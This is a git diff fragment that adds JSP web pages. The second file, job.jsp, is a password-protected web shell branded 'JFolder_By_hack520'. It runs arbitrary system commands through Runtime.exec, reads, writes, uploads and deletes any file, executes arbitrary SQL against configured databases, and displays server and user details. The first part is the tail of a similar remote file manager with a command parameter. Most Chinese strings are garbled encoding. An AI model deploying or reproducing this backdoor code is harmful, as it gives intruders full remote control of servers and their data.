fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windowsϵͳȡÿõ߼ +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M ʾ5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("ļСΪ 0 ֽڣͲ˰"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
"); + sbEdit.append(""); + sbEdit.append("
"); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("ԭʼļ "+strPath+"

"); + sbCopy.append("Ŀļ

"); + sbCopy.append(" "); + sbCopy.append("

 \r\n"); + sbCopy.append("

"); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

Ŀļ"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

ĿļѴ,ܸơ"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("ԭʼļ "+strPath+"

"); + sbSaveCopy.append("Ŀļ "+strTmpFile+"

"); + sbSaveCopy.append("Ƴɹ"); + } + } + sbSaveCopy.append("

"); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" ļʧ"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" Ŀ¼ʧ"); + } + else + { + sbNewFile.append("

ļĿ¼"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

ļĿ¼"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +index + + + + + +

+ + + + + + +
+ + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
- - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
"); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("ʧܣ "+e.toString()+""); +} +%> + +
+ + + + + + + + + +
+

+
+ diff --git a/jsp/job.jsp b/jsp/job.jsp new file mode 100644 index 0000000..9cad130 --- /dev/null +++ b/jsp/job.jsp @@ -0,0 +1,1811 @@ +<%@ page contentType="text/html; charset=GBK" %> +<%@ page import="java.io.*"%> +<%@ page import="java.util.Map"%> +<%@ page import="java.util.HashMap"%> +<%@ page import="java.nio.charset.Charset"%> +<%@ page import="java.util.regex.*"%> +<%@ page import="java.sql.*"%> +<%! +private String _password = "520520"; +private String _encodeType = "GB2312"; +private int _sessionOutTime = 20; +private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"}; +private Connection _dbConnection = null; +private Statement _dbStatement = null; +private String _url = null; + +public boolean validate(String password) { + if (password.equals(_password)) { + return true; + } else { + return false; + } +} + +public String HTMLEncode(String str) { + str = str.replaceAll(" ", " "); + str = str.replaceAll("<", "<"); + str = str.replaceAll(">", ">"); + str = str.replaceAll("\r\n", "
"); + + return str; +} + +public String Unicode2GB(String str) { + String sRet = null; + + try { + sRet = new String(str.getBytes("ISO8859_1"), _encodeType); + } catch (Exception e) { + sRet = str; + } + + return sRet; +} + +public String exeCmd(String cmd) { + Runtime runtime = Runtime.getRuntime(); + Process proc = null; + String retStr = ""; + InputStreamReader insReader = null; + char[] tmpBuffer = new char[1024]; + int nRet = 0; + + try { + proc = runtime.exec(cmd); + insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); + + while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) { + retStr += new String(tmpBuffer, 0, nRet); + } + + insReader.close(); + retStr = HTMLEncode(retStr); + } catch (Exception e) { + retStr = "bad command \"" + cmd + "\""; + } finally { + return retStr; + } +} + +public String pathConvert(String path) { + String sRet = path.replace('\\', '/'); + File file = new File(path); + + if (file.getParent() != null) { + if (file.isDirectory()) { + if (! sRet.endsWith("/")) + sRet += "/"; + } + } else { + if (! sRet.endsWith("/")) + sRet += "/"; + } + + return sRet; +} + +public String strCut(String str, int len) { + String sRet; + + len -= 3; + + if (str.getBytes().length <= len) { + sRet = str; + } else { + try { + sRet = (new String(str.getBytes(), 0, len, "GBK")) + "..."; + } catch (Exception e) { + sRet = str; + } + } + + return sRet; +} + +public String listFiles(String path, String curUri) { + File[] files = null; + File curFile = null; + String sRet = null; + int n = 0; + boolean isRoot = path.equals(""); + + path = pathConvert(path); + + try { + if (isRoot) { + files = File.listRoots(); + } else { + try { + curFile = new File(path); + String[] sFiles = curFile.list(); + files = new File[sFiles.length]; + + for (n = 0; n < sFiles.length; n ++) { + files[n] = new File(path + sFiles[n]); + } + } catch (Exception e) { + sRet = "bad path \"" + path + "\""; + } + } + + if (sRet == null) { + sRet = "\n"; + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + + if (curFile != null) { + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + } + + sRet += "\n"; + + sRet += " \n"; + + for (n = 0; n < files.length; n ++) { + sRet += " \n"; + + if (! isRoot) { + sRet += " \n"; + if (files[n].isDirectory()) { + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + sRet += " \n"; + } else { + sRet += " \n"; + } + + sRet += " \n"; + } + sRet += " \n"; + sRet += "
\n"; + sRet += "  ϼĿ¼ "; + sRet += "Ŀ¼ "; + sRet += "½ļ "; + sRet += "ɾ "; + sRet += " "; + sRet += " "; + sRet += "ϴļ\n"; + sRet += " \n"; + sRet += "
<" + strCut(files[n].getName(), 50) + ">" + strCut(files[n].getName(), 50) + "" + (files[n].isDirectory() ? "<dir>" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<edit>" : "") + "" + files[n].length() + "" + pathConvert(files[n].getPath()) + "
\n"; + } + } catch (SecurityException e) { + sRet = "security violation, no privilege."; + } + + return sRet; +} + +public boolean isTextFile(String extName) { + int i; + boolean bRet = false; + + if (! extName.equals("")) { + for (i = 0; i < _textFileTypes.length; i ++) { + if (extName.equals(_textFileTypes[i])) { + bRet = true; + break; + } + } + } else { + bRet = true; + } + + return bRet; +} + +public String getExtName(String fileName) { + String sRet = ""; + int nLastDotPos; + + fileName = pathConvert(fileName); + + nLastDotPos = fileName.lastIndexOf("."); + + if (nLastDotPos == -1) { + sRet = ""; + } else { + sRet = fileName.substring(nLastDotPos + 1); + } + + return sRet; +} + +public String browseFile(String path) { + String sRet = ""; + File file = null; + FileReader fileReader = null; + + path = pathConvert(path); + + try { + file = new File(path); + fileReader = new FileReader(file); + String fileString = ""; + char[] chBuffer = new char[1024]; + int ret; + + sRet = "\n"; + + } catch (IOException e) { + sRet += "\n"; + } + + return sRet; +} + +public String openFile(String path, String curUri) { + String sRet = ""; + boolean canOpen = false; + int nLastDotPos = path.lastIndexOf("."); + String extName = ""; + String fileString = null; + File curFile = null; + + path = pathConvert(path); + + if (nLastDotPos == -1) { + canOpen = true; + } else { + extName = path.substring(nLastDotPos + 1); + canOpen = isTextFile(extName); + } + + if (canOpen) { + try { + fileString = ""; + curFile = new File(path); + FileReader fileReader = new FileReader(curFile); + char[] chBuffer = new char[1024]; + int nRet; + + while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) { + fileString += new String(chBuffer, 0, nRet); + } + + fileReader.close(); + } catch (IOException e) { + fileString = null; + sRet = "ܴļ\"" + path + "\""; + } catch (SecurityException e) { + fileString = null; + sRet = "ȫ⣬ûȨִиò"; + } + } else { + sRet = "file \"" + path + "\" is not a text file, can't be opened in text mode"; + } + + if (fileString != null) { + sRet += "\n"; + sRet += "\n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += " \n"; + sRet += "
[ϼĿ¼]
\n"; + sRet += " \n"; + sRet += "
 
\n"; + } + + return sRet; +} + +public String saveFile(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path); + + if (! file.canWrite()) { + sRet = "ļд"; + } else { + FileWriter fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + + fileWriter.close(); + sRet = "ļɹڷأԺ򡭡\n"; + sRet += "\n"; + } + } catch (IOException e) { + sRet = "ļʧ"; + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } + + return sRet; +} + +public String createFolder(String path, String curUri, String folderName) { + String sRet = ""; + File folder = null; + + path = pathConvert(path); + + try { + folder = new File(path + folderName); + + if (folder.exists() && folder.isDirectory()) { + sRet = "\"" + path + folderName + "\"Ŀ¼Ѿ"; + } else { + if (folder.mkdir()) { + sRet = "ɹĿ¼\"" + pathConvert(folder.getPath()) + "\"ڷأԺ򡭡\n"; + sRet += ""; + } else { + sRet = "Ŀ¼\"" + folderName + "\"ʧ"; + } + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } + + return sRet; +} + +public String createFile(String path, String curUri, String fileName) { + String sRet = ""; + File file = null; + + path = pathConvert(path); + + try { + file = new File(path + fileName); + + if (file.createNewFile()) { + sRet = ""; + } else { + sRet = "\"" + path + fileName + "\"ļѾ"; + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò"; + } catch (IOException e) { + sRet = "ļ\"" + path + fileName + "\"ʧ"; + } + + return sRet; +} + +public String deleteFile(String path, String curUri, String[] files2Delete) { + String sRet = ""; + File tmpFile = null; + + try { + for (int i = 0; i < files2Delete.length; i ++) { + tmpFile = new File(files2Delete[i]); + if (! tmpFile.delete()) { + sRet += "ɾ\"" + files2Delete[i] + "\"ʧ
\n"; + } + } + + if (sRet.equals("")) { + sRet = "ɾɹڷأԺ򡭡\n"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "ȫ⣬ûȨִиò\n"; + } + + return sRet; +} + +public String saveAs(String path, String curUri, String fileContent) { + String sRet = ""; + File file = null; + FileWriter fileWriter = null; + + try { + file = new File(path); + + if (file.createNewFile()) { + fileWriter = new FileWriter(file); + fileWriter.write(fileContent); + fileWriter.close(); + + sRet = ""; + } else { + sRet = "ļ\"" + path + "\"Ѿ"; + } + } catch (IOException e) { + sRet = "ļ\"" + path + "\"ʧ"; + } + + return sRet; +} + + +public String uploadFile(ServletRequest request, String path, String curUri) { + String sRet = ""; + File file = null; + InputStream in = null; + + path = pathConvert(path); + + try { + in = request.getInputStream(); + + byte[] inBytes = new byte[request.getContentLength()]; + int nBytes; + int start = 0; + int end = 0; + int size = 1024; + String token = null; + String filePath = null; + + // + // һֽ + // + while ((nBytes = in.read(inBytes, start, size)) != -1) { + start += nBytes; + } + + in.close(); + // + // ֽеõļָ + // + int i = 0; + byte[] seperator; + + while (inBytes[i] != 13) { + i ++; + } + + seperator = new byte[i]; + + for (i = 0; i < seperator.length; i ++) { + seperator[i] = inBytes[i]; + } + + // + // õHeader + // + String dataHeader = null; + i += 3; + start = i; + while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) { + i ++; + } + end = i - 1; + dataHeader = new String(inBytes, start, end - start + 1); + + // + // õļ + // + token = "filename=\""; + start = dataHeader.indexOf(token) + token.length(); + token = "\""; + end = dataHeader.indexOf(token, start) - 1; + filePath = dataHeader.substring(start, end + 1); + filePath = pathConvert(filePath); + String fileName = filePath.substring(filePath.lastIndexOf("/") + 1); + + // + // õļݿʼλ + // + i += 4; + start = i; + + /* + boolean found = true; + byte[] tmp = new byte[seperator.length]; + while (i <= inBytes.length - 1 - seperator.length) { + + for (int j = i; j < i + seperator.length; j ++) { + if (seperator[j - i] != inBytes[j]) { + found = false; + break; + } else + tmp[j - i] = inBytes[j]; + } + + if (found) + break; + + i ++; + }*/ + + // + // ͵İ취 + // + end = inBytes.length - 1 - 2 - seperator.length - 2 - 2; + + // + // Ϊļ + // + File newFile = new File(path + fileName); + newFile.createNewFile(); + FileOutputStream out = new FileOutputStream(newFile); + + //out.write(inBytes, start, end - start + 1); + out.write(inBytes, start, end - start + 1); + out.close(); + + sRet = "\n"; + } catch (IOException e) { + sRet = "\n"; + } + + sRet += ""; + return sRet; +} + +public boolean fileCopy(String srcPath, String dstPath) { + boolean bRet = true; + + try { + FileInputStream in = new FileInputStream(new File(srcPath)); + FileOutputStream out = new FileOutputStream(new File(dstPath)); + byte[] buffer = new byte[1024]; + int nBytes; + + + while ((nBytes = in.read(buffer, 0, 1024)) != -1) { + out.write(buffer, 0, nBytes); + } + + in.close(); + out.close(); + } catch (IOException e) { + bRet = false; + } + + return bRet; +} + +public String getFileNameByPath(String path) { + String sRet = ""; + + path = pathConvert(path); + + if (path.lastIndexOf("/") != -1) { + sRet = path.substring(path.lastIndexOf("/") + 1); + } else { + sRet = path; + } + + return sRet; +} + +public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) { + String sRet = ""; + int i; + + path = pathConvert(path); + dstPath = pathConvert(dstPath); + + for (i = 0; i < files2Copy.length; i ++) { + if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) { + sRet += "ļ\"" + files2Copy[i] + "\"ʧ
"; + } + } + + if (sRet.equals("")) { + sRet = "ļƳɹڷأԺ򡭡"; + sRet += ""; + } + + return sRet; +} + +public boolean isFileName(String fileName) { + boolean bRet = false; + + Pattern p = Pattern.compile("^[a-zA-Z0-9][\\w\\.]*[\\w]$"); + Matcher m = p.matcher(fileName); + + bRet = m.matches(); + + return bRet; +} + +public String renameFile(String path, String curUri, String file2Rename, String newName) { + String sRet = ""; + + path = pathConvert(path); + file2Rename = pathConvert(file2Rename); + + try { + File file = new File(file2Rename); + + newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName; + File newFile = new File(newName); + + if (! file.exists()) { + sRet = "ļ\"" + file2Rename + "\""; + } else { + file.renameTo(newFile); + sRet = "ļɹڷأԺ򡭡"; + sRet += ""; + } + } catch (SecurityException e) { + sRet = "ȫ⵼ļ\"" + file2Rename + "\"ʧ"; + } + + return sRet; +} + +public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) { + boolean bRet = true; + String driverName = ""; + + if (dbServer.equals("")) + dbServer = "localhost"; + + try { + if (dbType.equals("sqlserver")) { + driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; + if (dbPort.equals("")) + dbPort = "1433"; + _url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("mysql")) { + driverName = "com.mysql.jdbc.Driver"; + if (dbPort.equals("")) + dbPort = "3306"; + _url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName; + } else if (dbType.equals("odbc")) { + driverName = "sun.jdbc.odbc.JdbcOdbcDriver"; + _url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword; + } else if (dbType.equals("oracle")) { + driverName = "oracle.jdbc.driver.OracleDriver"; + _url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName; + } else if (dbType.equals("db2")) { + driverName = "com.ibm.db2.jdbc.app.DB2Driver"; + _url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName; + } + + Class.forName(driverName); + } catch (ClassNotFoundException e) { + bRet = false; + } + + return bRet; +} + +public boolean DBConnect(String User, String Password) { + boolean bRet = false; + + if (_url != null) { + try { + _dbConnection = DriverManager.getConnection(_url, User, Password); + _dbStatement = _dbConnection.createStatement(); + bRet = true; + } catch (SQLException e) { + bRet = false; + } + } + + return bRet; +} + +public String DBExecute(String sql) { + String sRet = ""; + + if (_dbConnection == null || _dbStatement == null) { + sRet = "ݿû"; + } else { + try { + if (sql.toLowerCase().substring(0, 6).equals("select")) { + ResultSet rs = _dbStatement.executeQuery(sql); + ResultSetMetaData rsmd = rs.getMetaData(); + int colNum = rsmd.getColumnCount(); + int colType; + + sRet = "sqlִгɹؽ
\n"; + sRet += "\n"; + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + sRet += " \n"; + } + sRet += " \n"; + while (rs.next()) { + sRet += " \n"; + for (int i = 1; i <= colNum; i ++) { + colType = rsmd.getColumnType(i); + + sRet += " \n"; + } + sRet += " \n"; + } + sRet += "
" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")
"; + switch (colType) { + case Types.BIGINT: + sRet += rs.getLong(i); + break; + + case Types.BIT: + sRet += rs.getBoolean(i); + break; + + case Types.BOOLEAN: + sRet += rs.getBoolean(i); + break; + + case Types.CHAR: + sRet += rs.getString(i); + break; + + case Types.DATE: + sRet += rs.getDate(i).toString(); + break; + + case Types.DECIMAL: + sRet += rs.getDouble(i); + break; + + case Types.NUMERIC: + sRet += rs.getDouble(i); + break; + + case Types.REAL: + sRet += rs.getDouble(i); + break; + + case Types.DOUBLE: + sRet += rs.getDouble(i); + break; + + case Types.FLOAT: + sRet += rs.getFloat(i); + break; + + case Types.INTEGER: + sRet += rs.getInt(i); + break; + + case Types.TINYINT: + sRet += rs.getShort(i); + break; + + case Types.VARCHAR: + sRet += rs.getString(i); + break; + + case Types.TIME: + sRet += rs.getTime(i).toString(); + break; + + case Types.DATALINK: + sRet += rs.getTimestamp(i).toString(); + break; + } + sRet += "
\n"; + + rs.close(); + } else { + if (_dbStatement.execute(sql)) { + sRet = "sqlִгɹ"; + } else { + sRet = "sqlִʧ"; + } + } + } catch (SQLException e) { + sRet = "sqlִʧ"; + } + } + + return sRet; +} + +public void DBRelease() { + try { + if (_dbStatement != null) { + _dbStatement.close(); + _dbStatement = null; + } + + if (_dbConnection != null) { + _dbConnection.close(); + _dbConnection = null; + } + } catch (SQLException e) { + + } +} + +///////////////////////////////////////////////////////////////////////////////////////////////////////////////// + +class JshellConfig { + private String _jshellContent = null; + private String _path = null; + + public JshellConfig(String path) throws JshellConfigException { + _path = path; + read(); + } + + private void read() throws JshellConfigException { + try { + FileReader jshell = new FileReader(new File(_path)); + char[] buffer = new char[1024]; + int nChars; + _jshellContent = ""; + + while ((nChars = jshell.read(buffer, 0, 1024)) != -1) { + _jshellContent += new String(buffer, 0, nChars); + } + + jshell.close(); + } catch (IOException e) { + throw new JshellConfigException("ļʧ"); + } + } + + public void save() throws JshellConfigException { + FileWriter jshell = null; + + try { + jshell = new FileWriter(new File(_path)); + char[] buffer = _jshellContent.toCharArray(); + int start = 0; + int size = 1024; + + for (start = 0; start < buffer.length - 1 - size; start += size) { + jshell.write(buffer, start, size); + } + + jshell.write(buffer, start, buffer.length - 1 - start); + } catch (IOException e) { + new JshellConfigException("дļʧ"); + } finally { + try { + jshell.close(); + } catch (IOException e) { + + } + } + } + + public void setPassword(String password) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = p.matcher(password); + + if (! m.matches()) { + throw new JshellConfigException("벻гĸ»ַ"); + } + + p = Pattern.compile("private\\sString\\s_password\\s=\\s\"" + _password + "\""); + m = p.matcher(_jshellContent); + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private String _password = \"" + password + "\""); + + //return HTMLEncode(_jshellContent); + } + + public void setEncodeType(String encodeType) throws JshellConfigException { + Pattern p = Pattern.compile("[A-Za-z0-9]+"); + Matcher m = p.matcher(encodeType); + + if (! m.matches()) { + throw new JshellConfigException("ʽֻĸֵ"); + } + + p = Pattern.compile("private\\sString\\s_encodeType\\s=\\s\"" + _encodeType + "\""); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private String _encodeType = \"" + encodeType + "\""); + //return HTMLEncode(_jshellContent); + } + + public void setSessionTime(String sessionTime) throws JshellConfigException { + Pattern p = Pattern.compile("\\d+"); + Matcher m = p.matcher(sessionTime); + + if (! m.matches()) { + throw new JshellConfigException("sessionʱʱֻ"); + } + + p = Pattern.compile("private\\sint\\s_sessionOutTime\\s=\\s" + _sessionOutTime); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ѾǷ޸"); + } + + _jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime); + //return HTMLEncode(_jshellContent); + } + + public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException { + Pattern p = Pattern.compile("\\w+"); + Matcher m = null; + int i; + String fileTypes = ""; + String tmpFileTypes = ""; + + for (i = 0; i < textFileTypes.length; i ++) { + m = p.matcher(textFileTypes[i]); + + if (! m.matches()) { + throw new JshellConfigException("չֻĸֺ»ߵ"); + } + + if (i != textFileTypes.length - 1) + fileTypes += "\"" + textFileTypes[i] + "\"" + ", "; + else + fileTypes += "\"" + textFileTypes[i] + "\""; + } + + for (i = 0; i < _textFileTypes.length; i ++) { + if (i != _textFileTypes.length - 1) + tmpFileTypes += "\"" + _textFileTypes[i] + "\"" + ", "; + else + tmpFileTypes += "\"" + _textFileTypes[i] + "\""; + } + + p = Pattern.compile(tmpFileTypes); + m = p.matcher(_jshellContent); + + if (! m.find()) { + throw new JshellConfigException("ļѾǷ޸"); + } + + _jshellContent = m.replaceAll(fileTypes); + + //return HTMLEncode(_jshellContent); + } + + public String getContent() { + return HTMLEncode(_jshellContent); + } +} + +class JshellConfigException extends Exception { + public JshellConfigException(String message) { + super(message); + } +} +%> + + +JFolder ͷ޸İ + + + + +<% +session.setMaxInactiveInterval(_sessionOutTime * 60); + +if (request.getParameter("password") == null && session.getAttribute("password") == null) { +// show the login form +//================================================================================================ +%> +
+ + + + +
+ + + + + + + + + + + + + + + +
 8¼ :::...JFolder_By_hack520
+ + +
+
+<% +//================================================================================================ +// end of the login form +} else { + String password = null; + + if (session.getAttribute("password") == null) { + password = (String)request.getParameter("password"); + + if (validate(password) == false) { + out.println("
  • ѽù!
  • "); + out.close(); + return; + } + + session.setAttribute("password", password); + } else { + password = (String)session.getAttribute("password"); + } + + String action = null; + + + if (request.getParameter("action") == null) + action = "main"; + else + action = (String)request.getParameter("action"); + + if (action.equals("exit")) { + session.removeAttribute("password"); + response.sendRedirect(request.getRequestURI()); + out.close(); + return; + } + +// show the main menu +//==================================================================================== +%> + + + + + + + +
    + + +
    +<% +//===================================================================================== +// end of main menu + + if (action.equals("main")) { +// print the system info table +//======================================================================================= +%> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Ϣ
    <%=request.getServerName()%>
    ˿<%=request.getServerPort()%>
    ϵͳ<%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%>
    ǰû<%=System.getProperty("user.name")%>
    ǰûĿ¼<%=System.getProperty("user.home")%>
    ǰûĿ¼<%=System.getProperty("user.dir")%>
    ·<%=request.getRequestURI()%>
    ·<%=request.getRealPath(request.getServletPath())%>
    Э<%=request.getProtocol()%>
    汾Ϣ<%=application.getServerInfo()%>
